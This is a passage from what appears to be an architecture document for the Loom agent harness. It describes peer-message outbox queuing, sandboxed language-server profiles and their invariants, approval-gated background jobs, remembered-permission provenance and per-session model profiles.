`running`. `peers.send` queues a send to a closed recipient that its owner holds
(`peer_mail.NotOpen`, the next paragraph and the peer mail reach paragraph below)
and refuses one that no catalogue holds with `peers.not_running`; nothing opens a
session. Default entries share the 64-link bound after the explicit ones. A new `[peers]` key means `peer_defaults` and its test.
Sender outbox (protocol-change/078 addendum). `peers.send` records each message
in the sending session before it asks the recipient: `peer_mail.OutboxClaim`
writes `client/peers/outbox/<digest(strand, session, id)>` `pending`
(`put_reserved_fact_expecting`, expecting absent), the inline attempt runs, and
`OutboxSettle` flips the row to `admitted` (receipt) or `refused` (reason), and
rewrites a `pending` row only when its `wait` (`OnOwner` | `OnOpen`, stored as
`wait: "owner" | "open"`, absent in an older row and read as `OnOwner`) changes. An
unreachable owner is the typed failure `peer_mail.Unreachable` (`Endpoint.call`
and `Directory.resolve` answer `Result(_, peer_mail.Failure)`, where `Refused(reason)`
is a definitive answer), which a local endpoint never returns; `peers.send` then
leaves the row `pending` and returns
`{"state": "queued"}` (`peers.queued`, `peers.is_queued`), and the router
answers a program with the denial `peer_queued`, carrying the answer's own note,
because `cap/peer.send` is typed to a receipt. `peer_mail.NotOpen` is the third
failure: the owner holds the session and it is not resident. It is queued the same
way, as `peer_outbox.NotOpen` and `peers.queued_unopened` with
`peers.queued_unopened_note`. `client/peer_outbox` is the pure module (row, `claim`, `room`,
`settle`, `expire`, codec); `client/internal/peer_outbox_store` applies it to the
store inside the Agency actor; `OutboxDue` also refuses rows pending over an
hour, with `peer_mail.unreachable_reason` for a row that last waited on its owner
and `peer_mail.not_opened_in_time_reason` for one that last waited for an open
(`peer_outbox.expiry_reason`). `client/peer_outbox_drain` is a
`weft/state_machine` (`Idle`/`Waiting`) with one named timeout
`peer-outbox-drain`: a pass at session open, then every `retry_interval_ms`
(5000) while any row waits on an owner that did not answer, and a doubling
interval up to `max_retry_interval_ms` (300000) while every owed row waits for an
open (`backlog_of` decides from the list of outcomes, so the order of the rows
does not matter; a session that did not answer or is saved is asked once per
pass; `State.interval_ms` is the interval in force), no timer when none
is owed. The doorbell cannot say which row it announces, since the machine's own
settles ring it, so a new row waits for the next tick. It is
built from a `peers.Wiring` and an injected `after`, reads rows through
`OutboxDue`, and attempts each through `peers.resend`, which resolves through
`Directory.resolve` like `send`. `agency.Config.outbox_queued` rings it
(`peer_outbox_drain.poke`) after an `OutboxSettle(Unanswered | NotOpen)`; `serve` wires the
closure and adds the drainer beside the schedule scanner. Bounds: 64 rows per
strand (`outbox_full` when all pending, else the oldest finished row is evicted),
one hour pending, `Unlink` deletes the pending rows to the link,
the `peer.sent_receipt` router arm reads an admitted local row first. A refused row is replaced
by a repeat of its id. The drainer is not labelled with a `telemetry/owner` role
(roles are frozen by the protocol), so an ownership inspector reports it as
`unknown`. Tests: `peer_outbox_test` (pure), `peer_outbox_flow_test` and
`peer_outbox_drain_test` over `support/peer_rig` (two real runtimes behind a
scripted network, a fake timer wheel, a file-backed reopen; the rig's directory
answers `Resident`, `Saved` (`NotOpen`) or `Gone` (`Refused`), and any other
session is saved).
An owner's web page manages links through `daemon/ui_peers`: `run` executes a
`web_view/peer_links.Request` against `peers.inspect`, `peers.link` and
`peers.unlink_session` (also what the `peers.unlink` control calls), judges strands
and session identities again, resolves only resident sessions, and maps a refusal
to a fixed `Reason`. `ui_socket.peer_links_for` re-derives the page's owner at
each request, `peer_links_capability` hands the capability to an `Owning` page
alone, and `owner_accepts` alone admits events beneath `component.peers_path`.
`server.Attachment.peers` is the daemon's `peers.Directory`.
Epoch-checked `sessions.activity` (`protocol.SessionActivity`)
takes 1 to 24 distinct canonical ids and reports what each resident is doing.
The owner is answered for any id; a member only for ids its credential holds a
membership in (`held`), the rest dropped as unknown ids are.
`server.activity` resolves each id through `manager.resolve`, which answers only
for `Running` slots, so saved or unknown ids are omitted and no saved store is
opened. It then calls the read-only `peer_mail.Overview` command on every
resident concurrently from the control socket's process, in one `weft` run
under a 2,000 ms deadline; any outcome other than an answer becomes a
`{"session_id","state":"unknown"}` row. `Overview` runs in the recipient Agency
actor and derives `state` (`needs_you` for a pending escalation or a failed,
stopped main; else `working` when any strand has a current operation; else
`idle`), counts, main's last run outcome, final assistant text, model, and at
most four glances whose operation is still current. The recipient bounds its
row to `peer_mail.overview_row_bytes` (2,300) by shedding glances, then the
message; the server re-checks 2,400 bytes per row and 60,000 per reply.
See [async collaboration](../../docs/async-collaboration.md) for bounds and
recovery semantics, [Protocol 049](../../protocol-change/049-peer-inspection.md)
for the read-only owner inspection extension, and
[Protocol 050](../../protocol-change/050-session-activity.md) for session
activity.
Input readiness is separate from the execution phase. `Ready` publishes an
immutable endpoint set and idle interval; `SendTo` journals a named value only
after that endpoint is ready. `ReceiveEnveloped` returns its sequence, endpoint
and value for satellite-side typed dispatch. Legacy `Receive` registers raw
`default` readiness. `Progress` and `Delivery` update bounded volatile
observations, exposed with lifecycle through `Check` and lost on service restart.
The eight-live session ceiling is complemented by 32 cumulative launches per
initiating operation, reconstructed from durable records during recovery.
Typed idle expiry closes admission and reaps the execution; successful callback
delivery alone resets its idle anchor. The fixed wall deadline remains separate.
`peer_mail` stores plain message text with `PeerOrigin(session, strand)` bound
by the sending harness. The receipt separately retains observed metadata.
The entry codec and provider projection preserve peer attribution after replay.
See [async architecture](../../docs/architecture/async-collaboration.md) for
custody, readiness, delivery and exclusive invocation boundaries.
The Agency's `frame_message`, `frame_brief` and `child_notice` build their
head, foot and contract lines from `session_view/strand_framing`, the one
definition the hosts also strip. Protocol-change 059's reader draws `StrandOrigin` and the writer sets it
in the same release: `agency.brief_message` and the
`agent_send` payload carry `Some(StrandOrigin(caller.strand))`, set from the
authenticated caller and from nothing a model emitted, with the framed text
unchanged. The origin is attribution only. `vision.collect_turn` ends the
current turn at such a message as it does at a peer message, and
`wiring.admitted_image_bearing` still protects an image admitted earlier in
the same run; `vision_test` pins that image-then-sibling order, and
`agency_test` pins the origin for briefs (with and without a result schema),
downward sends and upward reports.
MCP layer retirement fixes one monotonic proof deadline before issuing stops.
Each parallel collector passes only the remaining budget to client shutdown;
late scheduling cannot grant a fresh per-client wait. The outer Weft scope
retains its collection margin so a verdict at the proof cutoff can be observed.
## Language servers
ADR-015 is the ruling, and ADR-016 §§1–2 makes a server's table a
language profile; these are the pieces that carry both in this package.
No language is built into this package. The first-party profiles for Gleam,
Go and Rust are extensions in their own repositories
([loom-lsp-gleam](https://github.com/Roasbeef/loom-lsp-gleam),
[loom-lsp-go](https://github.com/Roasbeef/loom-lsp-go),
[loom-lsp-rust](https://github.com/Roasbeef/loom-lsp-rust); ADR-016,
addendum), installed with `loomd ext install <url> --rev v0.1.0` and proved
with `loomd ext check`. The tests here use synthetic profiles, and a name
such as `lsp_go` in them is a fixture's, not a dependency on that repository.
- `client/lsp/profile.{LspServer, ProjectAccess, LspPath, ModuleCase,
Places, decode_servers, decode_server, claim_extensions, expand_path,
cache_place, cache_env_paths, private_cache_fault, mangling_fault,
not_server_owned}` — the one
`[lsp.<name>]` decoder, pure (no I/O, no external). `client/catalog`
hands `decode_servers` the `[lsp]` table's entries, and so does
`client/extension/manifest` for a profile extension, so the two can
never accept different things. `encode_server` and `server_decoder` are
the profile's JSON form in an install record (every field written,
roots as written, the decoder total and structural: the load's
comparison with the re-decoded manifest is what holds the table's
rules), and `approval_lines` is what an install prints for one: every
key, plus the two grants the jail derives (the executable's directory,
read-only, and each private cache). `LspServer` carries the ADR-015
keys, `cache_env: List(#(String, String))` (variable to a relative
directory, sorted by name; `cache_env_paths` places each at
`<cache>/loom/lsp/<server>/<dir>`, the one value-carrying environment a
profile may set; a name follows the `env` rules and is not also in
`env`, a directory has no empty, `.` or `..` component and no leading
`/` and lies inside no other entry's, and the record decoder re-reads it under the same rule; an absent
`cache_env` in a record reads as `[]`, since format 3 predates the key), plus four
profile keys, each defaulting to the behaviour it replaced: `language_id: String` (always filled; default the first
extension without its dot; written, `[a-z0-9][a-z0-9+._-]*` in at most
40 characters), `qualifier_separators: List(String)` (default `["."]`;
each non-empty, no whitespace, not `/`, listed once; `[]` refused),
`module_case: ModuleCase` (`AsWritten` | `Snake`, from `"as-written"` or
`"snake"`), and `hint: Option(String)` (one line, no control character,
at most 200 bytes). `LspPath` is `AbsolutePath` | `HomePath(rest)` |
`CachePath(rest)`, the last written `<cache>/rest` under the `~/` rules.
**Invariant: no root names Loom's private cache.** A `readable` or
`writable` root written `<cache>/loom[/...]` (compared by component, so
`<cache>/./loom` too) is refused at decode, record decode included, and
`private_cache_fault(server, places)` — called from
`workspace_policy.lsp_server_roots` at boot and by `loom ext check` — refuses an
absolute or `~/` root that resolves inside `<cache>/loom`, or a
`writable` one that holds it (`~/.cache`): each would let a server swap
a private cache for a link.
`expand_path(path, Places(home:, cache:))` resolves both relative forms
and refuses a missing or relative place; `cache_place(os, home,
xdg_cache_home)` is the pure platform rule (`darwin`:
`home/Library/Caches`; else an absolute `XDG_CACHE_HOME`, else
`home/.cache`). `mangling_fault` and `not_server_owned` live here
because `catalog`, which imports this module, shares them for its
`[mcp.<name>]` and `[tools]` checks.
- `client/lsp/profiles.{Claimant, Conflict, Refusal,
effective_lsp_servers, describe_claimant, describe_conflict}` — ADR-016
§4, pure. `effective_lsp_servers(configured:, installed:)` returns the
session's servers sorted by name plus the refused installed profiles.
**Invariant: the operator's file wins whole, and conflicts refuse every
installed profile involved, never first-wins.** A `loom.toml` table
replaces an installed profile of the same name (not a refusal); every
remaining installed profile is judged against the whole candidate set,
refused for sharing a server name with another installed profile or a
file extension with any server, so the answer does not depend on
discovery order. A `loom.toml` server is never the refused side.
- **Invariant: a profile key's default is the old behaviour.** A table
naming none of the four keys decodes to exactly what ADR-015 shipped;
`catalog_lsp_test` pins it, and the resolve tests pass with `["."]` and
`AsWritten` as they did before the parameters existed.
- `client/lsp/profile_check.{CheckOutcome, run, run_all, passed,
describe}` — a profile's `[[check]]`s through a `query.Door`, and no
other effect. `run(door, check)` asks `definition` or `references` with
`SymbolQuery(symbol, path, line)` and answers `Passed`,
`Mismatch(expected, got)` (both sorted, unique `path:line` lists) or
`Errored(reason)`. **Invariant: sites compare as sets**, since a server
answers in no fixed order and two references on one line share a
`path:line`; `profile_check_test` pins it.
- `client/lsp/manager.{Manager, Config, Backend, Timing, Jailed, Search, Hit,
Msg, start, supervised, addressed, stop, door, jailed, connect_jailed,
probe, probe_server, search_jailed}` — the session's one-server manager.
`probe_server(jailed, server, root)` clears the same probe over the
same jail and answers its `CallOutcome` unjudged, for `loom ext check`'s
jail line. The door's
closures run in the caller: they ask the manager for the live client,
then do the pull-resync, the requests and the conversion to `Site`s
themselves, so a slow query holds up only its caller. The probe
(`probe_argv` under the server's exact policy) must pass under the
session's demand before the server clears; `after_write` never starts a
server. `supervised(name, config)` is the service-tier child (transient,
bound to a `weft/registry` address); `addressed(name, config)` is the
handle over it, resolving the address per exchange, so a replacement is
the same manager to every door. `stop` asks the manager to shut down and
waits, in the caller and bounded by `Timing.previous_ms`, for the
server's keeper to finish its graceful stop.
The module doc carries a `## Flow` spine and the transition tables for
the manager's `Phase` (`Idle`, `Starting`, `Running`) and the keeper's
`KeeperPhase` (`AwaitingPrevious`, `Beginning`, `Holding`); the state,
message and keeper types sit before the first function.
- `client/lsp/resolve.{Identity, Owned, Unowned, Symbol, owner, admit,
same, display, split_symbol, cased, satisfies, named, container,
outline, site}` — the pure half: which `{server, root}` owns a path
(nearest root marker, real path under the root; an absolute path is
placed under the workspace as written or its real location, since the
write observer hands over real paths), which server-named paths the
harness may read (`admit`), how a symbol splits into qualifier and
identifier (`split_symbol(symbol, separators)`, longest separator
first, segments joined with `/`), which definition a qualifier selects
(`satisfies(root, path, qualifier, module_case)`, the module-path match
`cased` to snake_case under `Snake`; `named` compares an outline parent
chain with the qualifier as written), and how a location renders as
`path:line:anchor|text`. The manager splits a symbol only once it knows
the owning server: after `owner` for a path, per server for a bare-name
search. A document's `languageId` is `LspServer.language_id`.
- **Invariant: no server-named path is read, opened or echoed ungated.**
The jail bounds what a server reads, never which paths it emits, and the
door reads in the caller, unjailed. Every path out of an answer
(definition, references, call edges, published diagnostics, a rename's
`WorkspaceEdit`, bare-name hits) passes `resolve.admit(root:, protected:,
path:)` — `tools/fs.resolve_writable` against the server's real root and
`Backend.protected` (the session base's list, filled by `jailed`) — and
becomes `Admitted`/`Withheld`. Withheld: shown at raw coordinates with
`text: ""`, never `didOpen`ed (`resync` gates again), and a rename naming
one answers `ServerRefused` whole. The bound is the root alone, not the
server's `readable` roots, so a stdlib jump shows no line text.
`resolve.read_text` has no discipline of its own; its callers pass
`owner` or `admit` output only.
- **Invariant: one lapsed request ends a batch.** A bare-name search's
`definition` fold answers `Unavailable` at the first `TimedOut`,
`Unavailable` or `Unsupported`; the references `documentSymbol` fold stops
outlining there and keeps the rest with no container. Neither holds a
caller for one deadline per hit.
- **Invariant: the query that starts a server waits for its load, and
no other query waits.** When a query's `Warmth` is `Started`, after the
pull and before its first request it calls `lsp/client.ready` with
`Timing.quiet_ms` (300 ms), bounded by `Timing.ready_ms` (60 s).
`StillBusy(titles)` is `query.Unavailable("the language server is still
loading (<titles>); ask again in a moment")`, never an empty answer
(`rust-analyzer` answers mid-load with `[]`), and the server is left
running. A `Warm` query never calls `ready`, and neither do diagnostics
or `after_write`: a server that leaks a token costs one "still loading"
at start, not a deadline per query, and a warm server re-indexing
answers from its previous state as it does for any editor.
- `client/lsp/jail.{Placement, Jail, Launch, Executable, ExecutableFile,
max_link_hops, operation, step_id, locate, regions, policy_for,
directory_unlinked, caches_unlinked, call_spec, launch, transport}` —
one server's jail and its transport.
`Placement.places` (and `manager.Jailed.places`) is the daemon's
`profile.Places`: it expands `~/` and `<cache>/` roots, and its `home`
is the server's `HOME`.
`policy_for` adds each `cache_env` directory to the writable roots on
both sides and sets its variable last in the environment; `Jail.caches`
lists them, and `manager.jail_for` makes them (`mkdir -p`) beside the
scratch's `tmp` before any probe, search or server clears under the
policy, since bwrap refuses a writable bind whose source is missing.
`call_spec(jail, op, now_ms:, demand:)` takes the demand from its
caller: the session's, which the probe proved.
The transport's relay is a state machine over `Clearing`, `Relaying`,
`Closing`, `Aborting` and `Draining`; its transition table, and a list
of the attack each containment rule stops, are in the module doc.
- **Invariant: a server's executable region is directories, never an
install prefix.** `locate` reads the executable without following it
(`tools/fs.real_filesystem().read_link`, the existing
`tools_ffi:read_link/1`; no FFI in this package) and follows a link to
its regular file, relative text against the link's own directory, at
most `max_link_hops` (32) links; a loop, an overrun, a dangling link and
a non-file end are refused by name. `ExecutableFile` is
`PlainExecutable | LinkedExecutable(chain)`, so `regions` is pure over
that answer: the executable's directory plus each chain entry's.
rustup's `~/.cargo/bin/rust-analyzer -> rustup` is `~/.cargo/bin` alone.
The prefix rule this replaced put `~/.cargo/credentials.toml` in every
rust-analyzer jail. `unshadowed` still judges every region, a target's
directory included. `client/codemode.install_prefix` is code mode's and
is no longer read here.
- **Invariant: no link on the executable's chain is one the server can
rewrite.** Since the mounts follow where links point, `unrewritable`
refuses a lease when the command path (if a link) or any intermediate
link lies at or under the same `writes` list `unshadowed` reads — a
writable project root, the scratch directory, each `writable` root —
and tells the operator to name the target in `command`. The final
regular file is exempt: a plain executable in a writable project mounts
only its own directory. One check at resolution suffices, because
nothing re-reads the chain; a link rewritten later points outside what
was mounted and fails to execute.
- **Invariant: what the helper binds by spelling resolves to where the
policy said.** `policy_for` stays pure; two disk reads run in
`manager.jail_for` before anything is made or cleared, both through
`tools/fs.resolve_real` rooted at `/`. `directory_unlinked(name,
executable, writes)` refuses an executable whose spelled directory
lies at or under a path the server writes and does not resolve to that
write's real path plus the same components (a `node_modules/.bin`
replaced by a directory link); a link above the write is admitted.
`caches_unlinked(server, places)` refuses a private cache whose real
path is not the cache place's real path joined with
`loom/lsp/<server>/<dir>`, and runs both before `mkdir -p` (so a planted
link is not followed to make a directory) and after (so the bound
directory is the one judged). The cache place itself is resolved first,
so a linked `~/.cache` is admitted. Both are point-in-time: they close a
planted link, not one swapped between the read and the helper's bind.
- `client/lsp/leases.{Leases, Lease, Refusal, cap_for, start, acquire,
release, stop}` — the per-session cap on session-lived helper leases,
`pool_size - reserved_helpers`.
- **Traffic.** `manager.Msg`: `Acquire(identity, reply)` (a caller wants the
server, started if need be; waiters join one start), `Peek`,
`Opened(identity, paths)` (a cast recording documents a caller opened),
`KeeperReady(keeper, outcome)`, `KeeperDown`, `Shutdown(reply:
Subject(Option(Pid)))` (the reply names the keeper still stopping a
server). The keeper's own messages are `Begin`, `PreviousGone`, `Release`,
`ClientDown` and `ManagerDown`: an evicted or released keeper, or one
whose manager died, stops its client gracefully (`lsp/client.stop`).
- **Serve wiring.** The boot discovers installed extensions once
(`workspace_plane.prepare`, into `Census.extensions`) and hands both
readers that answer: the
`Ready` records' `lsp` go through `profiles.effective_lsp_servers` with
`Catalog.lsp_servers`, each refusal one `lsp.profile_refused` warning
(`extension`, `server`, `other`, `reason`), and only `Jailed`
extensions become tool contributions. `workspace_plane.start_local` builds
the plane only when the effective server list is non-empty. Each server's `readable`/`writable`
`~/` and `<cache>/` roots are expanded once with
`profile.expand_path(_, places)`, where `places` is
`workspace_policy.home_directory()` and `profile.cache_place` over
`ffi_os.platform`'s OS name and the daemon's `XDG_CACHE_HOME`; a server
whose roots will not resolve, or every
server when the lease counter will not start, is refused with one
`lsp.unavailable` line and the boot goes on. The counter starts from
`Settings.helper_pool_size`, `jail.operation` mints the attribution
operation, and the manager runs as a service-tier child under a minted
address, over `manager.jailed` with `Settings.demand`. The same door goes
to `contributions.built_in` and `codemode.over_lsp`, and the wired
servers' hints go to `contributions.built_in` beside it. `close_instance`
stops the manager after `api.close` and before the service tree, then
aborts the plane's operation (the backstop) and stops the counter. A
daemon session retired through custody loses the manager with the
service tree; its keeper sees `ManagerDown` and stops the server, and
pool close is the backstop there.
- `conformance/lsp_e2e_test` is issue #25's acceptance through
`serve.open_instance`: references, an anchored `fs_edit`, a rename
preview and apply over a real jailed `gleam lsp`, and a stale apply
raced by a concurrent writer.
## Code-mode language servers
`codemode.over_lsp(config, Option(lsp/query.Door))` sets `Config.lsp`, the
one field behind four halves of one decision, exactly as `Config.mcp` and
`Config.notes` are: `seam_allowlist` admits `cap/lsp`, the description
therefore renders its surface, `seam_caps_on` appends
`codemode/lsp.serviced_caps`, and `workspace_router` installs
`codemode/lsp.routing` between read-only search and the MCP arm. `cap/lsp`
is on no static allowlist (`codemode/vet/policy.default_cap_modules`),
because its roughly 5.6 KB surface would otherwise sit in every session's
cached prefix to advertise imports that could only be refused; without a
door vetting refuses the import by name and `lsp.*` falls to the default
table's `unsupported_cap`. `lsp_on` excludes extensions and resident hooks.
The field holds the door, not a `codemode/lsp.Seam`, because the seam's
applied rename is bound to one execution's write boundary.
`client/lsp/codemode_rename.seam(door, workspace:, roots:, protected:)`
builds it per request from the request's workspace, its approved writable
roots and its base policy's protected list, the values `workspace_seam`
gives `cap/fs.write`: `door.prepare_rename`, then `tools/lsp.land` with
`fs.write_target` as the target maker, then `door.after_write` per landed
file. A protected path is refused to a rename in `fs_write`'s own words.
`test/client/lsp/plumbing_test` pins both polarities against a fake door.
## Durable code-mode notes
`codemode.serving` installs a narrow `codemode/notes.Door` from Agency's
note and notes callbacks for every selected code-mode surface, including the
explicit WorkspaceOnly deployments. `notes_on` excludes extensions and resident
hooks. The same optional door controls host imports, advertised capabilities,
router wrapping, and quotas. It gives an explicit workspace-only host durable
data access without cap/strand lifecycle authority. The real jailed notes fixture writes
structured analysis, closes SQLite, and consumes it from a fresh program after
reopening through both the typed notes API and the note:// JSON view.
See [protocol 045](../../protocol-change/045-code-mode-notes.md).
## Code-mode utilities
The server defaults to BothSeams; unnamed programs still select workspace and
explicit flags can restrict the offered surfaces. The advertised recipe
fixture runs both exact model-visible programs through the jail, using
scripted child answers and real SQLite notes, then reads orchestration results
from a fresh workspace execution.
## Blackboard read failures
Agency note scans preserve runtime read and decode failures as PlaneFailed.
An empty list means a successful scan found no cells. Child joins propagate
that same refusal when loading saved notes, so a failed scan cannot fabricate
an absent structured result for a completed child. Code-mode get/list and
virtual note reads use this shared path and retain the refusal.
## Caller-owned code-mode message inspection
`client/internal/message_inspection` reads current input membership from coherent
snapshot cuts, rechecks membership when copying pending payloads, and falls back
to the same captured caller leaf for materialized user messages. The router in
`peers` binds the launching strand; program arguments cannot select another
recipient. `peer.inbox` uses exclusive ID cursors and a twelve-item ceiling;
`peer.history` uses exclusive transcript sequence cursors and a sixty-four-item
ceiling. Both inspect without consuming or retaining new records.
`peer_mail` reads existing remote admission receipts through bounded
`snapshot.KeyPage` selections. It sorts captured cells by key before selecting
the scanned window and filtering recipient ownership. Foreign-only pages still
advance. Receipt keys are hashes, so a fresh poll must rescan and reconcile IDs;
the cursor is not an arrival watermark. Exact recipient lookups enforce target
identity, and sender lookups require a current outgoing link and bind the source
session and strand. Admission proves neither consumption nor a model read.
Protocol 056 records the public capability expansion and checkpoint policy.
The production next-request regression proves that queued local and remote
bodies appear in the first request after the current whole tool batch completes.
## Explicit session-lifetime background jobs
Protocol-change/058 records the lifetime contract. Finite jobs retain their
existing default and fixed deadline. Bash `mode: "background", lifetime:
"session"` and `cap/job.start_for_session` explicitly request no wall deadline.
Code-mode callers declare `permissions.wall_s: 0`; the launching action must
receive the missing wall grant before execution, and the job captures it.
Zero job wall/deadline denotes this authorized lifetime. Clearance and drain
remain bounded, other resource limits remain active, and session shutdown,
owner kill cancels the execution. A session job clears under a separate
custody operation; aborting the originating model turn leaves it running.
Finite jobs keep originating-operation cancellation. The durable `started_by`
field retains the launch's operation for audit. Quiet waiting
has no completion or heartbeat wake unless the caller explicitly asks for the
existing idle heartbeat. A VM restart loses the job and never replays it.
## Typed schedule projections (protocol 057)
`client/scheduleseam` projects its existing `client/schedule.Timing` into
`tools/schedule.Cadence` and `Expiry` for create and list responses. The
`client/codemode` adapter translates these into the workspace router's matching
types. Relative one-shots expose their resolved Unix second, recurring timings
expose granted bounds, and cron preserves its fixed UTC offset. Neither the
durable schedule encoding nor wake authority changes.
See [protocol 057](../../protocol-change/057-typed-capability-results.md).
## Standalone MCP dependency
`gleam_mcp` owns MCP protocol codecs, JSON values, framing, the client state
machine and native transport. `client/mcp` sets `with_client_name("loom")`
before connecting and preserves the parked-client publication and retirement
contract. The local `mcp` package retains code generation, name/schema
planning and direct `core/msgpack` conversion. `gleam_mcp/protocol.Other`
retains a raw non-text block; `client/mcp.content_block` deliberately drops
that payload when constructing the existing capability result. Core JSON
and capability wire contracts are unchanged.
## Watcher consent and LSP reliability (protocol 061)
`permissions.remembering_action` prepares the reserved
`client/action_grants/<digest>` fact for a singleton wall-zero grant. Its
identity includes the requesting strand, tool, and complete argument digest.
The gateway commits it atomically with the captured approval.
`permissions.read_for` adds it only to that matching invocation; general
`permission_grants` never acquire an unlimited wall grant. Mixed requests
and other resource grants remain once-only. Running jobs retain the authority
captured at launch, and session close still joins their cancellation.
## Remembered permissions: provenance and forgetting (protocol 073)
`client/permissions` also records who approved each remembered grant and lists
and forgets what a session remembers. The general fact keeps `grants`, the only
thing dispatch reads, and adds `version: 2` and a `remembered` array of
`{grant, provenance}` rows. A `Provenance` is `Approved(by, via, at_ms)` or
`Unknown`: `by` is the principal of the approving connection's binding, `via`
is `Login`, `Device` or `Uncredentialed` with the credential digest's
fingerprint, and `at_ms` is the gateway clock at commit
(`gateway.approval_provenance`). A web page's connection carries the fingerprint
of its browser sign-in in `Binding.signin`, copied from the page's own record,
and that is recorded as `Login`; any other connection records the kind of its
credential digest (`access.credential_kind`). A `loom ui` page is admitted under
the terminal's bearer, so the digest alone would label its grants `Device`. The decoder is total
and advisory: a missing or damaged row reads as `Unknown` and never changes what
is permitted, and a fact with no `version` reads with every grant `Unknown`.
Exact-action consent cells gain `tool`, `strand`, a preview of at most 200
characters and the same provenance.
`permissions.listing` reads the general fact and every consent cell with their
sequences, and `permissions.board` encodes it as the `permissions` snapshot
(`protocol.PermissionsSnapshot`). `permissions.forgetting` builds the guarded
edit for a `protocol.ForgetTarget` (one grant, one consent by its lower-case
hexadecimal id, or everything) as the operator saw it, and the gateway applies
it through `api.edit_reserved_facts`: a moved cell, or a target already gone,
is `Stale` and answers `conflict` with nothing written. The general fact is
rewritten and never deleted. `PermissionsGet` and `PermissionForget` count as
mutations in `gateway.read_only`, so an observer attachment is refused both and
neither runs while the session drains. Both, and `ApproveForSession`, are also
owner-only (`gateway.owner_only`): an authenticated attachment whose principal is
a member is refused with `forbidden`.
`lsp/jail.workspace_reads` intersects the workspace with session-authorized
readable and writable roots. Sibling dependencies become readable while writes
remain scoped to the selected package and private scratch/cache. Network-off,
protected paths, executable-region checks, and answer admission are unchanged.
The protocol client now preserves bounded error-level server window messages.
After a failure, empty answers and clean-looking diagnostics become
`Unavailable` until a substantive semantic answer demonstrates recovery.
The setup guide distinguishes host extension commands from a jailed Bash
command's private HOME. Neither the private installation nor a nested probe's
scratch refusal proves the daemon's global profile is missing or broken.
## Finite language-server observations
`client/lsp/manager.observation_door` fills `lsp/observation.Door` beside the
interactive `query.Door`. Collection admits one configured server and root,
pulls the explicit source documents into that server, waits for readiness,
and queries only the requested outlines and reference seeds. It uses one
weft worker under the lesser of the invocation deadline and 75 seconds.
The death of its caller cancels that worker and its pending protocol id;
collection never stops the shared language-server lease.
A complete batch is bounded by 10,000 retained facts, 4 MiB of retained text
and fact strings, and 128 semantic requests, including seed outline
resolution. Counts retain server-withheld locations without reading or
opening them. A failure, unsupported feature, busy server, exceeded bound or
detected change refuses the whole batch. Canonical paths, content digests,
internal document versions, the opaque client generation and the checked
start/end interval describe the admitted observation.
The interval checks synced source text and actor state before and after the
queries, then rereads every admitted fact document and checks the original
source spellings. Returned reference files can carry no actor version when
the server never held them open. Those files are first read after the server
answer. Standard LSP has no transactional project revision, so the batch
does not establish atomic workspace coverage or detect edits in unseen
dependencies. SQL execution belongs to the code-mode satellite.
## Approved LSP dependency preparation
`lsp/profile.Preparation` is approved profile data. `AlreadyPrepared` is the
backward-compatible default; `GleamDependencies` authorizes the fixed, finite
`gleam deps download` recipe. `lsp/preparation` creates a separate broker
`CallSpec` with full network, a 60-second CPU/wall bound and bounded output.
`lsp/manager.connect_jailed` runs it after the enforcement probe and verifies
metadata before constructing the offline transport. `lsp/jail` gives setup and
server the same private HOME and XDG cache for cross-platform Gleam cache lookup.
`lsp/dependency_state.fingerprint` gates workspace-local real paths against
protected entries and the session’s existing readable or writable roots,
follows at most 64 package configurations, and retains
128 KiB at most per metadata file. The generated package inventory hashes
canonical table/string values, preserving package membership, versions and git
commits while ignoring the key order Gleam rewrites from maps. Unsupported
inventory values or more than three table levels refuse reuse. Manifest and
project configuration changes still use their complete source digests.
The query caller sends only a digest in
`manager.Acquire`; the actor compares it with the successful keeper start's
`Started.stamp`. A change uses the existing eviction path, reruns setup, and
reopens held documents. This snapshot tracks dependency preparation inputs,
not transactional workspace coverage. Profiles without the recipe skip these
reads and retain their existing network authority. Protocol 064 records the
new consent boundary and the refused external path-dependency scope.
## Model profiles (protocol 076)
`[profiles.<name>.roles]` tables name the roles a profile replaces
([protocol 076](../../protocol-change/076-config-profiles.md)).
`catalog.parse` validates every profile when the file loads, with the same
`parse_role_table` as `[roles]` and the table's own path in each message, and
`Catalog.profiles` holds each one already merged over the default role set.
`catalog.select_profile` returns the catalogue with `roles` replaced, or
`unknown_profile`'s message naming the profiles that exist.
The profile is part of the registration (`catalogue.Registration.profile`, a
name and never roles) and of `manager.Creation`. `serve.resolve_managed` passes
it to `resolve`, whose `load_config` applies `select_profile` before
`catalog.gateway` builds the session's gateway, so every consumer of roles reads
its own session's `Settings.gateway` or `Settings.catalog` and nothing is cached
daemon-wide. Every open resolves it again: a profile the file no longer defines
fails the open with the file's message, which the registration's startup reason
(055) carries, and never opens on the default roles. A profile with no config
file fails the same way. `serve.build_domain` passes no profile, so the shared
workspace domain's maintenance uses the default roles.
`server.create_session` checks the profile before reserving an identity
(`daemon/profiles.check` against the request's configuration, or the daemon's
own), and answers the code `unknown_profile`. The control dispatch words it with
the profiles that exist, the one refusal whose message is not "request refused";
the owner check runs first. `sessions.create` decodes `profile` as optional and
refuses a present value that is not a profile name
(`storage/catalogue.is_profile_name`), never reading it as the default.
`HomeAttachment.profiles` reads the names for the web form once, at page open,
and only for a page that holds the creation capability; `ui_socket.create_for`
takes the chosen profile and maps `unknown_profile` to
`creations.UnknownProfile`.
## Request accounting
Provider settlement and failure carry `core/accounting.RequestAccounting`.
The relay preserves that report through terminal delivery and uses an empty
report for refusals before dispatch. Goal accounting adds aggregate usage and
folds `cost_evidence` alongside the durable cursor; uncached token goals count
`input + output`, since input already excludes cache buckets. Client usage
pushes carry aggregate consumption and optional `last_usage` separately.
Context readers suppress only unknown all-zero final observations, retaining
historical nonzero readings and reported zero measurements.
`distill.Answer` keeps the final attempt's usage apart from request accounting;
`distill.Failure` retains the same report without an answer. Extraction and
consolidation persist failed request consumption in the memory ledger.
Glance and block summary requests commit one aggregate row with phase details
before parsing or publishing the text. A ledger commit failure prevents that
publication; an empty report writes no row. These auxiliary rows do not
replace the primary operation's context measurement.
### Pinned main model (protocol 080)
A session can also be created on one `[models.<key>]` entry. The key is a second
optional `sessions.create` field (`protocol.CreateSession.model`, decoded by
`model_field` against `storage/catalogue.is_model_key` and refused when present
and not a key), a field of `manager.Creation` and of the registration
(`Registration.model`, compared on a retry like the profile), and an argument of
`serve.load_config`, which applies `catalog.select_model` after
`select_profile`: the `main` chain becomes that entry alone and no other role
moves. Every open resolves it again, so a key the file no longer defines fails
the open with `unknown model "x"; the configuration defines: ...` and never
opens on the default model; with no config file it fails like a profile does.
`daemon/profiles` answers the daemon's pre-reservation question for both:
